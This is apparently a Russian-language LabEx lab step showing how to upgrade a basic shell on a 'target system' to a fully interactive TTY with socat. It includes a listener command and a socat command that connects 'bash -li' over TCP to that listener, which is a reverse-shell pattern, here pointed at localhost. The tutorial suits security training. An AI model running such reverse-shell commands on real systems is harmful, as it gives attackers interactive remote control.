Обновление до полноценной интерактивной оболочки с использованием Socat
Для более комплексного решения мы можем использовать утилиту socat
для получения полноценной интерактивной оболочки с поддержкой всех функций, включая автодополнение по Tab, навигацию по истории команд и совместимость с текстовыми редакторами.
Сначала проверьте, установлен ли socat
на целевой системе, выполнив следующую команду:
which socat
Если socat
установлен, следуйте этим шагам:
-
Откройте новое окно терминала
и запустите прослушиватель на порту 5912
с использованием следующей команды socat
:
socat file:$(tty),raw,echo=0 tcp-listen:5912
Ждите, пока соединение будет установлено.
-
В простой оболочке выполните следующую команду, чтобы подключиться к прослушивателю и обновить оболочку до полноценной интерактивной оболочки:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
-
Вернитесь в окно терминала, где вы настроили прослушиватель. Вы должны увидеть, что соединение с целевой системой установлено. Теперь у вас должна быть полноценная интерактивная оболочка со всеми функциями, которые вы ожидаете от обычной сессии терминала.
Пример вывода:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
Протестируйте новую интерактивную оболочку, используя такие команды, как cat
, ssh
, vim
, и навигацию по истории команд с помощью стрелок вверх и вниз.